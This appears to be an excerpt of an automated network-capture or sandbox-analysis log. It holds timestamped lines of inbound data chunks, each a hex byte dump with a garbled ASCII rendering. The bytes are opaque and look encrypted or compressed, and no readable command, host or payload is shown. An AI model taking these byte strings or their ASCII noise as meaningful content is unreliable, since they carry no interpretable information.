2023-03-18 04:38:08 UTC	105	IN	Data Raw: 81 31 82 03 4a ad ab 62 f3 53 6a 0a fa bc 13 30 e5 7c 06 5c e6 3e bb 1d 8d 06 54 3e fb 6a 54 ff 14 25 98 8a 1b b5 70 71 2a 2c 0b b1 3f 2e c7 a5 27 ff 93 77 fa 24 fb f5 f1 f6 3c 0c d0 19 9a ec e7 90 69 10 57 6e 46 33 77 43 8d 39 0d 8a 25 ea a7 e7 b9 af 3e 62 0f 71 3b 6c fb 3b 8d 73 8a 50 42 6c 52 75 32 5b f9 ec 0c d1 89 1b e7 df 11 8e 16 2d 63 f8 c3 1e 62 77 cf e5 50 bb 1d 38 5e ea 6d 02 28 f0 b0 bd 8a 34 19 f2 00 37 2e 6e 55 d4 12 f6 f7 03 96 6c 5c b0 d4 e7 c4 ed 87 25 62 71 3e 79 5a 28 18 15 bd 73 49 67 53 de 2a 55 8b eb c5 74 af 6e 07 de 85 6c a4 ad 2b a7 45 e4 36 38 c7 7b f9 3a a1 da e1 9f 9b 56 57 53 0d 1f 02 1a e7 b2 00 d0 2d c7 f5 8e ad fa c5 18 fb 78 06 e5 6b 23 5f 05 41 e1 3b 8f 87 23 d6 8b 15 cc 69 42 37 56 59 24 cd ba c4 d1 9b 62 55 ee 0a f2 a8 Data Ascii: 1JbSj0\|\>T>jT%pq,?.'w$<iWnF3wC9%>bq;l;sPBlRu2[-cbwP8^m(47.nUl\%bq>yZ(sIgSUtnl+E68{:VWS-xk#_A;#iB7VY$bU
2023-03-18 04:38:08 UTC	106	IN	Data Raw: df 43 76 53 98 35 6e b4 25 fa 5a 50 2c 4b b0 0a 8f 66 02 9d c0 ec 64 4e ce 75 05 b6 15 c2 a4 30 b6 d8 7b 3e e4 1d 90 91 d7 e1 05 e9 8a 72 40 f0 3d 71 88 43 06 a7 ca bc 96 ae d7 85 04 f2 94 f4 d5 49 be c9 10 e5 c9 31 8d a3 5c 2d a9 85 a1 e2 20 7a 09 20 7d 13 85 b7 fa 08 23 48 e3 0e c2 5c 38 b4 f0 53 fb 21 ad eb e7 28 f7 36 5c dc 83 b3 5c 13 30 89 f7 be 12 5d 22 c4 82 37 0a 25 e2 85 32 97 70 6b 6e 0f 6e ad 36 d4 57 e9 78 c2 b1 be ed 56 f9 cb f7 e5 ed 0e 1c ac 53 63 21 ca 28 47 52 42 34 57 48 86 ec fa 98 1e 9d db 1c 92 7f 1b 56 15 74 3a 24 28 af 84 e1 e9 e3 f7 9e 27 e9 dd c9 19 e9 d0 bc b4 eb 25 79 8f 85 21 9e 3b cf 55 28 96 05 55 01 ef fe 49 73 11 6c 62 b0 15 90 1a 5b d7 e9 a2 af ee 9f 77 d3 cd ad be c4 ee a3 2c 44 4e b7 bc e3 f6 ea 37 69 04 40 9a e3 cc 2d Data Ascii: CvS5n%ZP,KfdNu0{>r@=qCI1\- z }#H\8S!(6\\0]"7%2pknn6WxVSc!(GRB4WHVt:$('%y!;U(UIslb[w,DN7i@-
2023-03-18 04:38:08 UTC	107	IN	Data Raw: 85 06 14 fb 7b c2 fc ea e7 24 65 93 b1 89 9c 76 07 d7 5d ff 9d f0 c8 43 8e a5 ee 1c ea be 7a ee 81 fd 7f 68 a4 89 2f e9 a1 cf 01 06 b9 ea aa 68 a7 6e ea 4d e5 9a c3 69 bf fc 3b ff ca 81 14 90 ef d4 93 56 4e a6 5a 7b 4c 01 97 5a 89 67 45 be 3a c4 ee 9e 31 6e 49 b0 6d 1d 4c f1 72 52 2d 6a 97 e1 a2 e8 7f 79 e1 7e a0 c9 99 59 93 f7 ed e6 0c 10 aa 10 c2 a5 1a ac 57 fc e1 08 6e 66 19 9e 62 b2 08 04 4b a0 d0 86 3e a1 9e e8 f3 18 bd 8c 39 eb 34 ee ab 2a cc 27 7f 8f 0d 19 d8 51 5b 7e be 10 58 76 25 b5 83 f6 34 93 ab 53 e7 9c 7a 6d 36 4e 58 58 cb fc 9d 94 68 7a 45 0c 40 a9 a6 dd f8 89 67 7d a6 fc 7d 81 32 64 bc f3 07 64 74 66 aa 56 04 88 77 6b 7f f7 ba f3 52 d9 d1 9d 26 95 37 a7 3c d1 64 e3 e9 b8 02 af 3a c4 80 06 2d c4 fe 8b 48 d4 37 b4 37 7a 11 4d 8f fd bc f0 3f Data Ascii: {$ev]Czh/hnMi;VNZ{LZgE:1nImLrR-jy~YWnfbK>94*'Q[~Xv%4Szm6NXXhzE@g}}2ddtfVwkR&7<d:-H77zM?
2023-03-18 04:38:08 UTC	108	IN	Data Raw: 7b d0 0a 7a 44 f0 9c 59 c4 44 fb be 00 57 3a 5e 6e 86 e0 71 37 9c 70 d9 ce 9c 89 b4 80 45 e2 5a 8b d0 16 8e 77 b5 0e 7e 87 2f 5d 53 23 5f b9 c2 7b f2 7a c9 55 3a f9 99 a7 0e 54 e0 05 a3 d0 1c 68 28 33 fc 8e 6d d8 25 00 95 d4 81 79 af 27 4b 4e ab 3c cd cc b3 54 80 4a a3 4a 26 da bc e4 a9 6b ad df ac 61 6f 5d 57 32 a8 22 61 f1 c2 02 3f 0f 16 1d c3 b3 a4 1a 52 a5 11 50 73 3b 4c 41 9e 6a 1e 96 75 30 60 b4 2b 49 91 6e 40 c8 79 df 00 9f c7 1b b5 54 5a b8 ef 61 67 df 46 85 43 ee a0 b0 1b 14 9e d8 64 42 7c 6c 55 7a 57 9a 4e 97 19 3f 46 71 3b be 4b 27 c4 3c 0a 7e fb 69 e7 ba 32 5c c4 8d 11 3a 9a ca d2 e7 e1 58 ba a4 1b bf a4 97 48 94 22 ef d2 78 cb e6 e0 21 f9 91 e7 3f 2a 1e d4 dd df e6 2a 8b 2a ef ae 6d 20 28 89 42 5b 14 40 c6 a6 0b 8c dc be 53 ec 20 57 11 a0 5f Data Ascii: {zDYDW:^nq7pEZw~/]S#_{zU:Th(3m%y'KN<TJJ&kao]W2"a?RPs;LAju0`+In@yTZagFCdB\|lUzWN?Fq;K'<~i2\:XH"x!?***m (B[@S W_
2023-03-18 04:38:08 UTC	109	IN	Data Raw: b9 9c 57 33 7b f3 8f 9f 32 5d 30 29 6e c6 72 87 37 a3 d9 53 31 94 99 73 52 c5 b1 9b 7e 32 60 4c 22 49 30 28 e8 7d c1 65 2a fc 36 a1 d3 18 c5 da 1a 39 c9 88 4b 1b 01 60 51 e1 77 0e ac 65 8a 9d 50 04 cf 08 0a 3d bd 97 91 e6 d6 a7 89 f8 32 bc 8c 42 e7 12 80 97 b2 ae 07 62 91 5f 03 a8 00 fb db 7d 1e 00 45 b0 02 90 6a 12 4f 55 a6 e7 ac 0f b7 01 26 bd 7e 92 09 17 d9 50 a4 77 9b 50 ad 43 be 23 fa 60 9b e6 27 c2 bc 4a d9 25 61 5a 89 35 d0 bd 85 d2 99 30 12 b1 82 c3 5d 85 29 55 9c 1d 5e 0b bb 1b 89 7f c5 fb fb c4 bd bb e3 30 a5 a7 5f b2 84 fd 7c 27 e5 0c f8 d9 0f e3 8b 67 b2 d9 9a a7 dd aa 75 e5 4c 13 3e 68 3e 8e d0 79 de ec ee cc da d4 30 d6 8d d7 b5 39 c1 cf e7 cf bb 77 8e 2a d4 ad 19 0b 9d 67 63 2e 44 ab 49 d3 6c 7f 45 70 ba 98 e1 1a 97 08 46 1b ba 45 fc 52 c9 Data Ascii: W3{2]0)nr7S1sR~2`L"I0(}e69K`QweP=2Bb_}EjOU&~PwPC#`'J%aZ50])U^0_\|'guL>h>y09wgc.DIlEpFER
2023-03-18 04:38:08 UTC	111	IN	Data Raw: 07 c1 af 00 28 33 c6 18 1a 13 25 6f a5 7f c4 7e de 90 0c bc 21 5a 24 e5 b1 cd ea 18 c3 4c f0 f8 72 2b 60 26 ba 8b 18 f1 f5 7f 78 68 8c 4d c0 80 2c ad 4c 33 33 d5 b9 01 21 c9 74 4b 5b b8 ee 9f ce 20 35 aa ef 05 f3 0d cc 5d d8 bf 45 44 f3 46 42 a2 5b a8 a5 2d b9 9d c7 87 03 b7 f0 e6 d2 c0 9d 1e 44 9a 66 8f 51 be c8 8a f7 45 d3 33 7c 8e 5b d3 ae 6f fc ca 42 48 e9 9b dc 30 1c cd 87 8b ec fe 68 bf 95 00 56 26 92 7e 99 a5 d4 8b bf 42 47 4e cb 0e e7 54 87 94 ab a9 36 a6 55 80 f5 7b 2f 50 8b 63 1f f4 7b f0 6b 85 01 4c e7 29 f9 a0 10 77 ae 9c 63 7b 3c 8d 66 ef 9f eb ee 79 83 9d c2 42 de e6 b0 f8 11 ae d0 75 24 15 af e6 c0 2d c1 6a 4d 53 e0 3e b1 2e d3 10 cc b6 58 c2 1b d3 c2 a6 c2 69 e1 73 df 15 ae 59 4b b8 99 a4 6f 7d a7 7f 3e 94 35 56 bf 84 2f 0a 28 c1 f0 bd 1b Data Ascii: (3%o~!Z$Lr+`&xhM,L33!tK[ 5]EDFB[-DfQE3\|[oBH0hV&~BGNT6U{/Pc{kL)wc{<fyBu$-jMS>.XisYKo}>5V/(
2023-03-18 04:38:08 UTC	112	IN	Data Raw: 8b 40 dc 4e 66 74 b1 13 bd 35 4b cc 15 b0 f7 bf f7 27 39 07 26 03 dd 2b c8 db 7f 3f ed 70 d9 c8 ab f6 a9 5c f3 91 ce d6 e9 c8 5d 48 03 d0 cd d0 68 9a 72 96 6a 0b 93 d1 ff 00 b0 35 88 01 cd c0 e0 ff e3 ec f1 46 af e8 39 5e f4 ab 6e 54 9b c0 7d b4 eb c9 9b b3 4c b6 64 79 b4 a8 a7 0a d7 2a 51 62 41 7a a2 ce 21 fd 12 73 27 ef 7f 82 17 66 5f ce e8 70 d0 67 25 63 bc 48 cc d7 ff 5e f7 36 d0 dd 30 9b 77 04 c5 b6 7c 8c 71 f6 b3 ff 6a a7 09 35 6a c3 8d 79 b4 95 38 2c 6d f2 4b f3 4a 7a f1 1a 15 93 6a 93 59 25 63 6e 4d 7c 41 30 7f af af c8 6d a7 9f cc ad 72 69 f4 3e b8 03 cb af 9e 8d b3 b7 24 98 3b ea 8e db ea 26 79 65 17 2b 59 fb 26 28 27 49 06 b6 68 a3 2f 26 ee 81 2b 7c fd 3a 6d 88 1a c3 be c5 50 11 d8 af eb 86 31 35 61 3b 2f d8 37 dd 46 11 0b e6 c7 01 78 56 06 f1 Data Ascii: @Nft5K'9&+?p\]Hhrj5F9^nT}Ldy*QbAz!s'f_pg%cH^60w\|qj5jy8,mKJzjY%cnM\|A0mri>$;&ye+Y&('Ih/&+\|:mP15a;/7FxV
2023-03-18 04:38:08 UTC	113	IN	Data Raw: b2 ef be 8f 73 55 12 8d 0b 40 0a ff 67 51 41 28 83 74 7f 05 5b 2a b5 5c 2c 93 72 97 88 47 7f 9d de 18 b2 ea be fa b8 bd bf fc 70 58 5e 76 fe 9a 12 36 c2 17 05 a8 35 39 9e 65 5c 23 0a 48 50 af e8 a6 57 c4 70 44 be 2b ac ba ee 1d 11 ad 18 3c 07 85 7c 89 1e 18 d7 d9 c4 8c 8c 11 8f d2 a5 eb b0 e8 bf 6a 2f d3 29 69 3c bf a1 e1 Data Ascii: sU@gQA(t[*\,rGpX^v659e\#HPWpD+<\|j/)i<
2023-03-18 04:38:08 UTC	113	IN	Data Raw: fa 3e 62 b9 6c 92 b0 4f b9 3d ab 88 0c 36 65 53 59 92 49 bf 55 76 63 5d 6c 1a f9 9e 2c d9 5a c2 7f 99 dc 68 92 c4 21 09 fd ef 4a f5 28 7a df fd 22 2e 79 b4 93 20 3f 8b 78 74 9a 8d b6 06 90 cd 34 ac 9f 8b fe e3 9d 62 64 25 de 17 8a ee b4 8d 9b 4e ae 5d 29 4b 54 95 66 4c 8a 4f 62 60 66 35 21 54 2c 57 2f 94 63 11 85 03 af 5e 32 41 fc 0e 6a 36 84 c4 ec e4 be 1a 4e e5 c1 3b 52 ed 70 41 20 1d 0b b2 29 32 66 88 4d ab 09 0f c2 16 ce ef 92 bc f4 de 92 89 c5 da 49 d8 83 d0 62 f5 4f 8b 16 f7 93 b8 7b ca 16 8e ee d8 11 f4 f8 2a e1 d6 78 0c c5 20 b5 58 f2 b5 72 5b 93 6c d5 02 9d bd e9 fb ed 59 0b 4e 64 a1 d9 e9 84 fc f5 9f 6b af 94 6a d6 f8 97 11 87 67 a7 ab 66 bc 84 64 05 8c e5 be 2c 41 1b 7a 02 94 6b a0 9c 94 19 bc bd d6 8c 50 f2 5d 6b 1b 4e 3b 53 ff 5e d0 11 68 97 Data Ascii: >blO=6eSYIUvc]l,Zh!J(z".y ?xt4bd%N])KTfLOb`f5!T,W/c^2Aj6N;RpA )2fMIbO{*x Xr[lYNdkjgfd,AzkP]kN;S^h
2023-03-18 04:38:08 UTC	114	IN	Data Raw: 65 dc 3c f7 66 07 86 5a 4b 9b 27 d7 ca 2b db ac 1b 5f b7 9f 04 73 8a 0a 5b c2 7f 94 47 a9 8c cc 08 db 18 43 33 a0 6a ea c8 d6 e2 6d 4f f8 63 16 e8 5f 21 d1 e2 3f 49 db 58 34 1c 52 39 90 85 72 ed b0 94 f4 68 b1 a3 cc 5b 65 22 45 5f 22 d7 22 dc e3 53 dc 10 59 60 d8 fb 6c 62 71 ff f8 3c b2 bb 9d 33 18 9c a1 29 93 97 99 d7 57 2e 5a 32 17 d3 b0 66 04 88 d6 b2 74 c8 82 8e fa 20 c0 d9 97 d8 d7 4b 1e fa b4 24 b6 3f 84 ca 9d c9 e3 f7 ca b9 bb 91 9f 57 db fd 3b 6d 86 04 95 84 3c 75 a8 3b d0 6e 8f 0d 19 04 94 b5 cb 3b 9b 14 24 ee 4b d0 c9 e2 9b cc b3 58 bb 1d f2 a1 c1 4a 1e 17 1d a8 55 68 30 da 27 42 55 de b0 c1 03 4b 19 7e b7 c6 4b 65 50 57 52 72 99 4a 1f 99 c1 00 51 18 5b 3b 5d 1c 0d 17 84 be a1 48 1f 40 31 08 9f 31 bc 85 9a b9 f0 00 e2 94 58 15 81 f8 74 4f 93 46 Data Ascii: e<fZK'+_s[GC3jmOc_!?IX4R9rh[e"E_""SY`lbq<3)W.Z2ft K$?W;m<u;n;$KXJUh0'BUK~KePWRrJQ[;]H@11XtOF
2023-03-18 04:38:08 UTC	116	IN	Data Raw: 4b e0 b6 21 7a d4 b2 26 39 b4 0b 95 d7 48 25 e7 37 fd 20 9e 50 5a 85 fe f9 e9 b0 5d 37 34 f0 08 e0 b2 9c c4 04 23 31 37 99 49 81 dd cd 06 f5 f2 e2 9c 28 f6 62 13 71 d3 b0 63 da d5 09 fd 28 91 0e a1 4a 02 02 53 85 aa 89 44 b0 a9 46 6a f0 f4 3b d5 f2 94 49 db 48 6c 6b ab 17 c0 32 ee eb 01 2b 61 7f 27 b4 7d 8c f2 35 57 a3 f1 c1 55 da 72 6f c2 e0 77 e4 21 67 cf f4 52 b1 4b 93 ea 71 8a 18 ad b0 50 56 d1 35 03 d1 8b 81 a9 36 35 9a 2b f6 90 eb 76 fc 6d f7 7d 23 02 c0 37 cd d6 e6 f0 be 5c 12 ee a7 4b 69 c2 f5 e1 84 9d 21 26 83 16 f9 c6 a7 af 20 3f 40 ef 6c 88 27 57 a6 bc bb dd c0 b0 3d 59 82 84 a1 70 58 26 e4 4f 74 27 9e 69 8d 7d d7 6d 3c 50 4d a4 5a 1e fb 2c 97 be ee e4 4f 9f 64 13 b8 06 a0 4d 35 38 57 b2 d6 36 f3 b5 ee 5d f6 23 d4 48 4d 52 2a 3b f3 58 ec f5 57 Data Ascii: K!z&9H%7 PZ]74#17I(bqc(JSDFj;IHlk2+a'}5WUrow!gRKqPV565+vm}#7\Ki!& ?@l'W=YpX&Ot'i}m<PMZ,OdM58W6]#HMR*;XW
2023-03-18 04:38:08 UTC	117	IN	Data Raw: 8d f8 f0 4f 61 ac a4 9d 12 82 29 4d fe 10 f3 bb cb a4 0d 52 be c1 e6 2a 4a d9 60 6b f7 fd 2d 57 61 e5 6f 0d 1a 42 7b f5 17 48 12 0a 01 26 d9 90 6c 4e 65 6a dd f5 ff f7 18 10 cf b8 51 dc c7 e3 3a b6 b3 45 bd 0c 3c c3 03 56 cc 6c 17 9a dc 3d 82 91 11 15 49 b0 4b 6d 9b 5d 87 2c 68 38 65 c6 ac 3f 95 f5 dc 8b 10 39 ca 48 4c fd 75 03 bd 08 85 e7 be 16 ad 42 da fd 6b 95 0a 9c 5c 6c 85 c3 e9 89 31 2c 64 fb 60 d3 3d 59 ba ec 89 b6 b0 ab 39 96 85 e2 fb f2 8d 74 0a fa 16 0c 4a 31 7c 19 64 89 a1 68 97 3e 59 12 64 d3 26 e6 59 0d 07 91 9d d3 cd 84 00 54 99 be de 04 5f cd 80 93 84 10 e8 1a 84 93 f8 c9 e0 8c dd 39 c0 2e d6 73 76 bb c2 37 c3 8e 0d 28 f0 45 c4 e3 c2 c4 14 ec 5d 66 22 eb ca 5d b7 f3 23 48 a2 b4 51 c0 d8 f9 6c 10 72 c1 cd 04 98 79 ef eb a9 c0 86 39 d5 af 94 Data Ascii: Oa)MR*J`k-WaoB{H&lNejQ:E<Vl=IKm],h8e?9HLuBk\l1,d`=Y9tJ1\|dh>Yd&YT_9.sv7(E]f"]#HQlry9
2023-03-18 04:38:08 UTC	118	IN	Data Raw: 28 a7 96 ab 7d 11 79 73 19 9c be 7b cd 54 14 72 98 87 b9 1b 1c 7c 89 bc b2 47 ea 0a 9d 68 32 4c 3b ec e3 a5 e1 19 fc 2c 16 8f 54 0b 6e 08 3a 9c 74 60 b9 ef f7 29 72 62 fb 7b dd 02 fb a3 9a 5a 73 8b c7 c8 5b ff dd f0 f4 be eb 7c 30 89 e3 d8 14 33 66 cd 8a 4b b4 75 1e 37 36 2a be ae c9 4a ef 01 1f 7d 06 c4 5c f2 17 6d d1 fc b0 43 dc aa 9c 07 f6 c4 a6 34 af 8d 9f e3 d6 a5 95 5c bc 65 57 cc d3 4c 4f 72 25 43 9d 45 c9 da cd f1 58 e1 8a 5d 55 70 e3 90 67 e1 80 7e 35 3a 87 7f a0 50 19 95 14 99 ce 50 8b f3 50 7d 17 08 09 57 da 76 99 dc 5b d0 36 d0 34 29 75 50 f6 2e f5 35 4a 5c cc ff ce fc c0 50 93 2d ca c0 9b a5 5a f3 32 24 8d bb 9c ec a3 12 7e 76 2c d6 15 38 6d 4e a9 fb 5e fe 3d b5 5f 5c 0d 81 f7 7b d2 28 b1 ed 08 1e 10 9d d1 7a 0d 3d f2 09 59 01 da 74 1c 13 92 Data Ascii: (}ys{Tr\|Gh2L;,Tn:t`)rb{Zs[\|03fKu76*J}\mC4\eWLOr%CEX]Upg~5:PPP}Wv[64)uP.5J\P-Z2$~v,8mN^=_\{(z=Yt
2023-03-18 04:38:08 UTC	119	IN	Data Raw: 27 29 32 8b c0 8a 73 8d 7c 5a e9 28 df c6 40 e1 49 6a 69 15 64 18 80 d7 7b 60 ae e7 3c 7a ea b7 12 d3 06 af 05 97 e6 0b e6 b4 ad 81 09 dc 7d 3d 4f 7b a0 5f 5d 29 b1 ff 28 4b a6 41 55 c1 e7 3e b2 4c 7e 43 45 fd 7f 9d ab 48 bf 2e ef c7 d6 ff b4 18 9f 3e a5 6f 19 89 7c 7d 3e 50 f3 69 58 24 97 c6 5f 04 41 fe 70 6f 69 e9 6e fb 5b ab ac ca 33 65 5d f7 82 9e b3 44 ff b0 be f1 b3 d4 c5 04 75 ab 39 aa 6e 2d 9a 6d 96 ad d8 cb be 50 64 84 bf 73 69 60 18 10 96 b5 f8 10 93 ae f5 a6 d2 44 70 39 e6 30 28 94 60 03 eb 7e e3 db cd 69 b1 f6 9d af 02 0e 2c 0f 59 da 5f f9 33 a4 49 d7 fa bf c1 22 a5 06 fb cc b3 f7 dd b2 bd 6f c5 98 ce 42 d4 2b 2d 87 91 5e ae 88 cc 09 74 91 74 76 28 7f 89 90 cf c1 bf 92 74 fc 18 cd 55 5b 93 61 31 e2 f9 a7 1f e7 4b e2 a1 7a ac c4 34 f6 f9 c6 10 Data Ascii: ')2s\|Z(@Ijid{`<z}=O{_])(KAU>L~CEH.>o\|}>PiX$_Apoin[3e]Du9n-mPdsi`Dp90(`~i,Y_3I"oB+-^ttv(tU[a1Kz4
2023-03-18 04:38:08 UTC	121	IN	Data Raw: 9a 86 37 2b 90 df e2 c1 b9 02 09 47 16 2d 2d 58 d8 e6 66 ca 1f d8 87 55 4b b8 2a 48 f1 4e 9d 51 6c 3c 8d 60 c4 80 e0 a1 da 4f 67 a9 ae 90 db 02 57 a3 b0 2d 11 82 fc 40 be d0 08 fc 64 27 19 d9 65 55 fa 30 aa 82 8d 15 26 84 02 61 e6 3b ea 1c db 68 e6 2f 2b c3 f0 96 4d fd 62 b4 f8 cc e2 b8 73 7d a3 52 2d 00 01 3d 8f 5a 21 4a ce 37 82 a7 64 5f 1a 64 d2 a6 dd 02 1a a8 cc cb b4 86 22 f0 b9 fd d8 68 70 52 ba e8 80 dd ad 6b 7a 39 b1 b0 c2 d1 d3 0a 8b 52 88 51 b7 0d 43 5d 94 0f 41 aa ed 35 83 88 76 f8 5f ec af 87 b7 3a e3 0c a5 18 a8 79 42 93 71 74 90 36 13 a5 68 da 79 89 7f 8d ea 6a 6b 8d b6 38 e1 d4 84 99 97 95 80 e4 2f 44 97 0a b8 eb e2 7b c5 89 b2 02 72 74 a9 9c f2 e0 4f 84 d6 f0 13 80 39 57 18 8f a7 ad 7f d8 98 24 fe 5f db c3 79 3d e2 96 d2 90 ae 62 90 c0 c9 Data Ascii: 7+G--XfUK*HNQl<`OgW-@d'eU0&a;h/+Mbs}R-=Z!J7d_d"hpRkz9RQC]A5v_:yBqt6hyjk8/D{rtO9W$_y=b
2023-03-18 04:38:08 UTC	122	IN	Data Raw: 28 b1 af 96 1e 01 09 b8 5d f1 6b a8 9e 1e 42 b1 86 57 59 11 ac 80 8d 82 59 5f 09 d2 5e 8a 9c 83 25 28 2d 19 3f ce 8b c6 4a 0e d9 57 c3 41 88 ab 72 da 38 8a f0 ad 05 33 5b 66 e8 73 79 a5 07 57 a1 b3 53 ed dc 3b 5f 43 0f a8 34 0c fc 13 c1 8c fc ec 3e dd 14 96 8a 55 96 b5 d3 d4 1c 32 7c a2 6a 1c d1 56 b7 e1 7d 36 fa c3 87 44 e1 a5 e7 bd 55 0b c0 9b 6d 7f ad aa 9a 63 50 68 a4 71 a1 4e a1 b0 ae 1f ce dd bc 72 bf 0d e3 23 2e 2c ef 71 25 33 04 38 67 8a 01 3d 15 1b b8 3c 70 14 00 2c 37 a9 de 5c b2 38 ed 57 1a 71 cc ea 4b 03 7b 6b b0 e2 bf 84 46 73 cf d2 98 c5 9a 61 61 57 45 6b 01 01 c2 08 03 49 f9 25 ba 3a 3a b4 76 f4 7c b1 bd ad 93 f7 dc ab a2 5a 7e 61 b2 31 0c 04 1d ab 50 5f d2 09 16 d0 93 9d d6 aa 90 93 a5 75 5e 03 e6 36 69 1c 57 26 72 af 94 52 f6 36 94 49 68 Data Ascii: (]kBWYY_^%(-?JWAr83[fsyWS;_C4>U2\|jV}6DUmcPhqNr#.,q%38g=<p,7\8WqK{kFsaaWEkI%::v\|Z~a1P_u^6iW&rR6Ih
2023-03-18 04:38:08 UTC	123	IN	Data Raw: 9f 1e 13 3e db 5c 9d 9c 9a d3 6c 69 46 07 0f d2 ed 83 6f 19 e2 2a df 9f eb 9d d3 8a 33 9d f7 56 56 a1 d6 36 0f c3 3c 9a d3 82 d9 ba 6a fb e6 f3 43 f0 f1 c7 d7 9e 06 d6 e3 b0 9d 9f 79 d4 2d be a1 da 2f 35 f5 bd 19 07 e7 8a a8 bd 86 19 01 65 80 26 36 fd 87 61 ee 92 b9 c1 15 64 17 d4 e7 9c 55 7e 2a 5c 84 5f 78 0e c8 96 c4 a7 4c c2 c0 e8 02 55 42 0a 03 d4 eb b3 7d dd e0 2e 7f b7 e2 34 0f 3b 7c f2 5f fd bb 55 4f d8 24 e6 e5 8d 1d 63 66 29 87 78 c1 97 1f 7a c8 07 e7 2b 84 4c 0d 75 5e a0 5e 92 39 c0 a1 83 93 95 ed 1d 69 86 2e d5 af 1a 78 6d 04 46 34 f0 e4 4d e1 21 f6 94 15 ee 83 b7 75 d7 7a f9 e3 09 1b 6f cd 9a cb 52 1f a8 66 38 9e 2c 52 f0 ac 34 05 45 18 71 92 db 14 9f 16 48 18 dc 02 2e 50 5f 12 10 f1 2e d9 fc 8b 31 9d 29 02 62 64 6c 25 01 dd 87 60 e5 51 c0 76 Data Ascii: >\liFo3VV6<jCy-/5e&6adU~\_xLUB}.4;\|_UO$cf)xz+Lu^^9i.xmF4M!uzoRf8,R4EqH.P_.1)bdl%`Qv
2023-03-18 04:38:08 UTC	124	IN	Data Raw: 84 ab 9c a0 17 af 48 79 f6 81 10 1f 73 15 7b 93 f0 4b 81 b9 df df b1 a3 4d 53 ec 5f c1 90 09 80 cb 79 ff 58 64 99 bd 51 fd 7e b7 39 7a 58 28 22 a2 14 a9 51 82 6c be a4 a9 58 56 6b cd 4e d5 af a1 ac 41 85 e9 85 1f 2a ba 61 eb 0e c8 fb 2b dc d0 57 df d2 07 24 74 75 1e e9 92 f3 95 7d db 46 5d e4 b4 94 aa 28 1d 3a af 79 04 84 26 86 8d 54 8f 64 9d 6e b5 19 c1 2e 1d 18 7b 5b f9 15 05 2c 86 19 da c5 42 7d d0 ee 0e a3 73 7f 58 47 9d d9 c4 7e c8 11 22 34 a7 d7 7f 22 52 eb 65 c7 34 9b ba 1e ed dd b9 3e 21 82 df f1 14 fe 02 ce 36 1c 54 3a 33 47 a9 40 07 c4 32 24 78 5e b4 1a 3e 3a ff 42 af e9 e8 d5 9a 99 b0 cf 62 6b c9 ef ff 59 2d 0f 6b 17 fb 79 ca ca 08 90 72 6c 1b 85 62 ac 1d 6b 24 61 49 82 78 51 4e c7 7f 9e 47 d4 e4 4a 15 74 d5 f3 8a 86 2b 23 5c 2c 95 f5 15 55 59 Data Ascii: Hys{KMS_yXdQ~9zX("QlXVkNA*a+W$tu}F](:y&Tdn.{[,B}sXG~"4"Re4>!6T:3G@2$x^>:BbkY-kyrlbk$aIxQNGJt+#\,UY
2023-03-18 04:38:08 UTC	125	IN	Data Raw: 83 45 c1 8f 66 46 1a 07 08 9c 67 b2 fa 24 9c 8f 1f de 44 80 28 d0 65 e3 fe b8 30 29 85 64 e0 ef bf 98 8f 5a 25 9e b7 0d 8a 39 e3 7d 41 cc 96 20 97 8c 76 81 d1 20 d4 d8 9a 5f bb 90 f6 88 83 9c 42 46 0c f7 42 b2 43 31 d9 ff 62 d3 b4 58 fc e5 8a d9 48 18 f9 88 7d 00 07 89 f3 d1 cb d9 08 c0 13 a8 52 61 85 c7 70 2f 2c ad 11 45 74 36 30 e6 a6 0b f6 68 dd 6f a5 57 dd e2 09 26 9b 8d 2f 4e 29 7c b4 83 e4 70 cc 03 ed 1f de 68 18 b4 6d d4 44 67 31 09 c1 29 95 59 c3 95 cc 8d ef 63 56 4b e5 df 37 d2 12 a6 d9 10 f2 63 f5 0f 4c 06 c3 5d bd 23 0f 82 85 18 0e 45 18 bd 84 a7 16 9e 3a 7f d1 af 6e 9e 65 50 47 c9 f9 6c 82 da c3 52 26 83 60 54 21 25 e5 4f ca bd 72 d3 0c ae f6 df 74 1c 88 8e 53 e5 78 af c5 54 63 bd b4 22 da f4 d8 2c 3d 1c cc 82 26 2b c1 5a a0 e4 8c c7 ea f8 69 Data Ascii: EfFg$D(e0)dZ%9}A v _BFBC1bXH}Rap/,Et60hoW&/N)\|phmDg1)YcVK7cL]#E:nePGlR&`T!%OrtSxTc",=&+Zi
2023-03-18 04:38:08 UTC	127	IN	Data Raw: cd 1f e8 fc bc c2 dc 44 d5 1b d4 56 1b 93 d1 cc 33 a4 54 05 16 04 91 a3 66 99 0f 62 e5 ca b0 e8 d0 90 0c 50 8c 0e da da 31 f7 72 e0 65 40 e2 6f 94 8d 83 32 61 32 e8 9a 4a 44 c0 af 5c 66 59 42 f2 1f a0 27 a4 10 70 8d 80 f4 fb c8 2e 8a 48 07 77 c8 e9 07 4d 38 61 5a d1 19 dc b7 d8 49 b3 7b f9 36 9b c5 3c a1 19 c3 0b 55 31 65 6a 7f b3 a6 77 16 29 40 57 2c e5 17 9c 21 ed e6 2a 7c 66 fd 9f 14 ad 9f 7c dd a7 19 45 18 7d 74 f0 ed bc 14 e5 0c 83 72 3b c8 4d 6a 0f 17 cd ed 16 c6 aa 06 1c 67 b3 a6 10 0d 47 7f ec 40 69 1c af fe 2e 89 bf 4c a6 f3 0a ee e7 4f 2e 0e 2f b4 a4 c4 dc 32 4d 3a 48 a2 72 2e 68 c8 a5 c6 83 3e aa 5f 0e 80 1d 00 58 34 97 56 fc 22 a0 4b 32 b6 f4 23 b3 6e b7 8a 76 69 4b ff b2 38 49 a9 d4 93 1c 3b f9 7f 1c 96 99 2a ab d4 93 2c aa 93 e7 02 88 e6 06 Data Ascii: DV3TfbP1re@o2a2JD\fYB'p.HwM8aZI{6<U1ejw)@W,!\|f\|E}tr;MjgG@i.LO./2M:Hr.h>_X4V"K2#nviK8I;,
